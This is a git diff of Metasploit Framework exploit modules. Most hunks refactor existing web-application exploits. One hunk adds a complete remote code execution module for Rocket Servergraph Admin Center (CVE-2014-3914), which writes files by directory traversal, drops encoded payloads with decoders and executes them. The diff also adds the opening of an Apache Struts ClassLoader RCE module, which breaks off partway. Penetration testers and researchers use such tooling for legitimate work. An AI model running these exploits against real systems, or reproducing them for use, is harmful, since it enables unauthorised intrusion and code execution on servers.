:linemax => 2800) end @@ -194,8 +194,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit @cookie = '' - extend Msf::Exploit::CmdStagerBourne if target.opts['Platform'] == "linux" - setup_stager end end diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index 19c9a442ed..3bd3976973 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04 ['Automatic', {} ], - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], @@ -63,13 +63,16 @@ class Metasploit3 < Msf::Exploit::Remote @cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}" res = send_request_cgi({ - 'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="), + 'uri' => normalize_uri(@uri.path, 'j_spring_security_check'), 'method' => 'POST', 'cookie' => @cookie, 'vars_post' => { 'j_username' => Rex::Text.uri_encode(user, 'hex-normal'), 'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'), 'submit' => 'Sign+in' + }, + 'vars_get' => { + 'org.apache.catalina.filters.CSRF_NONCE' => '' } }) @@ -81,8 +84,11 @@ class Metasploit3 < Msf::Exploit::Remote # def get_nonce res = send_request_cgi({ - 'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"), - 'cookie' => @cookie + 'uri' => normalize_uri(@uri.path, 'mastheadAttach.do'), + 'cookie' => @cookie, + 'vars_get' => { + 'typeId' => '10003' + } }) if not res or res.code != 200 @@ -241,7 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def exploit # login @@ -275,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote # send payload case @my_target['Platform'] when 'win' - print_status("#{peer} - Sending VBS stager...") + print_status("#{peer} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{peer} - Sending UNIX payload...") diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 1ef454ed64..77b3a3b126 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -315,9 +315,12 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => path }, 20) + if (res) && (res.code == 401) + fail_with(Failure::NoAccess,"Unable to bypass authentication. Try changing the verb to HEAD to exploit CVE-2010-0738.") + end + if (not res) or (res.code != 200) - print_error("Failed: Error requesting #{path}") - return nil + fail_with(Failure::Unknown,"Failed: Error requesting #{path}") end res diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 3c7bf20530..d41a0921bd 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -33,10 +33,10 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], 'Platform' => %w{ win linux unix }, - 'Targets' => + 'Targets' => [ - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], - ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], 'DisclosureDate' => 'Jan 18 2013', @@ -161,7 +161,7 @@ class Metasploit3 < Msf::Exploit::Remote if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ fail_with(Failure::NoAccess, 'login failed') end - sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0] + sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] @cookie = "#{sessionid}" else print_status('No authentication required, skipping login...') @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Exploit::Remote case target['Platform'] when 'win' - print_status("#{rhost}:#{rport} - Sending VBS stager...") + print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 154c2917ab..0ab2fcd253 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -97,4 +97,4 @@ class Metasploit3 < Msf::Exploit::Remote handler end -end \ No newline at end of file +end diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index d4cadae1c7..900c5a6418 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -193,7 +193,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/ print_good("#{peer} - Login successful") session = $1 else diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 5b993fb37f..48ca16b5c4 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ win unix }, 'Targets' => [ - [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ], + [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win', 'CmdStagerFlavor' => 'vbs'} ], [ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ] ], 'DisclosureDate' => 'Dec 06 2012')) @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit case target['Platform'] when 'win' - print_status("#{rhost}:#{rport} - Sending VBS stager...") + print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax=>500}) when 'unix' diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index bc346979d8..874e681659 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -181,15 +181,17 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_cgi({ - 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"), + 'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'), 'method' => 'POST', 'data' => data, - 'headers' => - { - 'Content-Type' => 'multipart/form-data; boundary=' + boundary, - 'Content-Length' => data.length, - 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", - } + 'headers' => { + 'Content-Type' => 'multipart/form-data; boundary=' + boundary, + 'Content-Length' => data.length, + 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", + }, + 'vars_get' => { + 'uploadplugin' => nil + } }) @@ -199,11 +201,13 @@ class Metasploit3 < Msf::Exploit::Remote if datastore['REMOVE_PLUGIN'] print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ - 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase, - 'headers' => - { - 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", - } + 'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'), + 'headers' => { + 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", + }, + 'vars_get' => { + 'deleteplugin' => plugin_name.downcase + } }) if not res print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.") diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 61a67e8e40..b115e056f0 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote max.times { chars << rand(string.length)} end end - chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")} + chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-noslashes")} string end diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index a885cb3901..6854cd78bb 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote }) # If we don't get a cookie, bail! - if res and res.headers['Set-Cookie'] =~ /(PHPVolunteerManagent=\w+);*/ + if res and res.get_cookies =~ /(PHPVolunteerManagent=\w+);*/ cookie = $1 vprint_status("#{peer} - Found cookie: #{cookie}") else diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index c6eeac426b..fb087c952d 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -79,19 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => uri, }, 3) - if (res.nil? or not res.headers['Set-Cookie']) + if res.nil? or res.get_cookies.empty? print_error("Could not generate a valid session") return end - return res.headers['Set-Cookie'] - end - - def cleanup - # We may not be using php/exe again, so clear the CMD option - if datastore['CMD'] - datastore['CMD'] = nil - end + return res.get_cookies end def exploit diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 0478b23dd5..c9f5931858 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : '' + cookie = (res and res.get_cookies =~ /qdpm\=.+\;/) ? res.get_cookies : '' return {} if cookie.empty? cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0] diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 46751d2f1f..7803dd5414 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -233,8 +233,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => datastore['TARGETURI'] || "/", 'method' => datastore['HTTP_METHOD'], }, 25) - if res && res.headers['Set-Cookie'] - match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /) + if res && !res.get_cookies.empty? + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /) end if match diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb new file mode 100644 index 0000000000..88b2c04a08 --- /dev/null +++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb @@ -0,0 +1,348 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution', + 'Description' => %q{ + This module abuses several directory traversal flaws in Rocket Servergraph Admin + Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet, + allowing a remote attacker to write arbitrary files and execute commands with + administrative privileges. This module has been tested successfully on Rocket + ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu + 12.04 64 bits. + }, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3914'], + ['ZDI', '14-161'], + ['ZDI', '14-162'], + ['BID', '67779'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux unix win }, + 'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD], + 'Payload' => + { + 'Space' => 8192, # it's writing a file, so just a long enough value + 'DisableNops' => true + #'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply + }, + 'Targets' => + [ + [ 'Linux (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux (CMD Payload)', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ], + [ 'Windows / VB Script', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Windows CMD', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 30 2013')) + + register_options( + [ + Opt::RPORT(8888) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]), + OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]), + OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ]) + ], self.class) + + end + + def check + os = get_os + + if os.nil? + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Appears + end + + def exploit + os = get_os + + if os == 'win' && target.name =~ /Linux/ + fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected") + elsif os == 'linux' && target.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected") + elsif os.nil? + print_warning("#{peer} - Failed to detect remote operating system, trying anyway...") + end + + if target.name =~ /Windows.*VB/ + exploit_windows_vbs + elsif target.name =~ /Windows.*CMD/ + exploit_windows_cmd + elsif target.name =~ /Linux.*CMD/ + exploit_linux_cmd + elsif target.name =~ /Linux.*Native/ + exploit_linux_native + end + end + + def exploit_windows_vbs + traversal = "\\.." * traversal_depth + payload_base64 = Rex::Text.encode_base64(generate_payload_exe) + temp = temp_dir('win') + decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs" + encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" + exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe" + + print_status("#{peer} - Dropping the encoded payload to filesystem...") + write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) + + vbs = generate_decoder_vbs({ + :temp_dir => "C:#{temp}", + :encoded_file_name => encoded_file_name, + :exe_file_name => exe_file_name + }) + print_status("#{peer} - Dropping the VBS decoder to filesystem...") + write_file("#{traversal}#{temp}#{decoder_file_name}", vbs) + + register_files_for_cleanup("C:#{temp}#{decoder_file_name}") + register_files_for_cleanup("C:#{temp}#{encoded_file_name}") + register_files_for_cleanup("C:#{temp}#{exe_file_name}") + print_status("#{peer} - Executing payload...") + execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}") + end + + + def exploit_windows_cmd + traversal = "\\.." * traversal_depth + execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}") + end + + def exploit_linux_native + traversal = "/.." * traversal_depth + payload_base64 = Rex::Text.encode_base64(generate_payload_exe) + temp = temp_dir('linux') + encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" + decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh" + elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf" + + print_status("#{peer} - Dropping the encoded payload to filesystem...") + write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) + + decoder = <<-SH +#!/bin/sh + +base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name} +chmod 777 #{temp}#{elf_file_name} +#{temp}#{elf_file_name} +SH + + print_status("#{peer} - Dropping the decoder to filesystem...") + write_file("#{traversal}#{temp}#{decoder_file_name}", decoder) + + register_files_for_cleanup("#{temp}#{decoder_file_name}") + register_files_for_cleanup("#{temp}#{encoded_file_name}") + register_files_for_cleanup("#{temp}#{elf_file_name}") + + print_status("#{peer} - Giving execution permissions to the decoder...") + execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}") + + print_status("#{peer} - Executing decoder and payload...") + execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}") + end + + def exploit_linux_cmd + temp = temp_dir('linux') + elf = rand_text_alpha(4 + rand(4)) + + traversal = "/.." * traversal_depth + print_status("#{peer} - Dropping payload...") + write_file("#{traversal}#{temp}#{elf}", payload.encoded) + register_files_for_cleanup("#{temp}#{elf}") + print_status("#{peer} - Providing execution permissions...") + execute("#{traversal}/bin/chmod 777 #{temp}#{elf}") + print_status("#{peer} - Executing payload...") + execute("#{traversal}#{temp}#{elf}") + end + + def generate_decoder_vbs(opts = {}) + decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") + + f = File.new(decoder_path, "rb") + decoder = f.read(f.stat.size) + f.close + + decoder.gsub!(/>>decode_stub/, "") + decoder.gsub!(/^echo /, "") + decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}") + decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}") + + decoder + end + + def get_os + os = nil + path = "" + hint = rand_text_alpha(3 + rand(4)) + + res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}") + + if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/ + path = $1 + elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/ + path = $1 + end + + if path =~ /^\// + os = 'linux' + elsif path =~ /^[a-zA-Z]:\\/ + os = 'win' + end + + os + end + + def temp_dir(os) + temp = "" + case os + when 'linux' + temp = linux_temp_dir + when 'win' + temp = win_temp_dir + end + + temp + end + + def linux_temp_dir + dir = "/tmp/" + + if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? + dir = datastore['TEMP_DIR'] + end + + unless dir.start_with?("/") + dir = "/#{dir}" + end + + unless dir.end_with?("/") + dir = "#{dir}/" + end + + dir + end + + def win_temp_dir + dir = "\\#{win_dir}\\Temp\\" + + if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? + dir = datastore['TEMP_DIR'] + end + + dir.gsub!(/\//, "\\") + dir.gsub!(/^([A-Za-z]:)?/, "") + + unless dir.start_with?("\\") + dir = "\\#{dir}" + end + + unless dir.end_with?("\\") + dir = "#{dir}\\" + end + + dir + end + + def win_dir + dir = "WINDOWS" + if datastore['WINDIR'] + dir = datastore['WINDIR'] + dir.gsub!(/\//, "\\") + dir.gsub!(/[\\]*$/, "") + dir.gsub!(/^([A-Za-z]:)?[\\]*/, "") + end + + dir + end + + def traversal_depth + depth = 20 + + if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1 + depth = datastore['TRAVERSAL_DEPTH'] + end + + depth + end + + def write_file(file_name, contents) + res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name) + + unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: / + fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting") + end + + res + end + + def execute(command) + res = send_request(1, "run", command) + + res + end + + def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4)) + data = "&invoker=#{rand_text_alpha(rand(4) + 4)}" + data << "&title=#{rand_text_alpha(rand(4) + 4)}" + data << "¶ms=#{rand_text_alpha(rand(4) + 4)}" + data << "&id=#{rand_text_alpha(rand(4) + 4)}" + data << "&cmd=#{command}" + data << "&source=#{source}" + data << "&query=#{query}" + + res = send_request_cgi( + { + 'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'), + 'method' => 'POST', + 'data' => data + }, timeout) + + res + end + +end diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index 1e2cd51567..d8f6f00de9 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -86,8 +86,8 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/ - return res.headers['Set-Cookie'] + if res and res.get_cookies.include?('PHPSESSID') and res.body !~ /\<i\>Access denied\!\<\/i\>/ + return res.get_cookies else return '' end diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index d85302620b..92d4380c43 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote if (res and res.code == 302 and res.headers['Location'] =~ /main.php/) print_status("Successfully logged in as #{user}:#{pass}") - if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/ + if (res.get_cookies =~ /SiTsessionID/) and res.get_cookies.split("SiTsessionID")[-1] =~ /=(.*);/ session = $1 print_status("Successfully retrieved cookie: #{session}") return session diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 0be872543b..63f0cf3715 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Nikolas Sotiriu', # Vulnerability Discovery - 'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module + 'Redsadic <julian.vilas[at]gmail.com>', # Metasploit module 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index 2725ba5f81..cae9a80878 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -124,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote uid = '' session_id_port = session_id = '' - if res and res.code == 200 and res.headers['Set-Cookie'] - res.headers['Set-Cookie'].split(';').each {|c| + if res and res.code == 200 and !res.get_cookies.empty? + res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /cval/ cval = v.split('=')[1] @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote else session_id_port = '' session_id = '' - res.headers['Set-Cookie'].split(';').each {|c| + res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 0c710b83ac..35e5f85241 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote session_id_port = session_id = '' if res and res.code == 200 - res.headers['Set-Cookie'].split(';').each {|c| + res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /cval/ cval = v.split('=')[1] @@ -236,7 +236,7 @@ class Metasploit3 < Msf::Exploit::Remote else session_id_port = '' session_id = '' - res.headers['Set-Cookie'].split(';').each {|c| + res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] diff --git a/modules/exploits/multi/http/spree_search_exec.rb b/modules/exploits/multi/http/spree_search_exec.rb index e5bab5f8eb..dc5a7eeb1f 100644 --- a/modules/exploits/multi/http/spree_search_exec.rb +++ b/modules/exploits/multi/http/spree_search_exec.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - command = Rex::Text.uri_encode(payload.raw, 'hex-all') + command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes') res = send_request_raw({ 'uri' => normalize_uri(datastore['URI']) + "?search[send][]=eval&search[send][]=Kernel.fork%20do%60#{command}%60end", 'method' => 'GET', diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb index 1e172296cc..53e698877c 100644 --- a/modules/exploits/multi/http/spree_searchlogic_exec.rb +++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - command = Rex::Text.uri_encode(payload.raw, 'hex-all') + command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes') urlconfigdir = normalize_uri(datastore['URI']) + '/' + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end" res = send_request_raw({ diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 397b996b79..ad9498cf19 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -42,7 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' } ], ['Linux Universal', @@ -88,10 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb new file mode 100644 index 0000000000..344061f9e5 --- /dev/null +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -0,0 +1,229 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking # It's going to manipulate the Class Loader + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache Struts + versions < 2.3.16.2. This vulnerability is due to the ParametersInterceptor, which allows + access to 'class' parameter that is directly mapped to getClass() method and + allows ClassLoader manipulation. As a result, this can allow remote attackers to execute arbitrary + Java code via crafted parameters. + }, + 'Author' => + [ + 'Mark Thomas', # Vulnerability Discovery + 'Przemyslaw Celej', # Vulnerability Discovery + 'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-0094'], + ['CVE', '2014-0112'], + ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'], + ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'] + ], + 'Platform' => %w{ linux win }, + 'Payload' => + { + 'Space' => 5000, + 'DisableNops' => true + }, + 'Targets' => + [ + ['Java', + { + 'Arch' => ARCH_JAVA, + 'Platform' => %w{ linux win } + }, + ], + ['Linux', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ['Windows', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ] + ], + 'DisclosureDate' => 'Mar 06 2014', + 'DefaultTarget' => 1)) + + 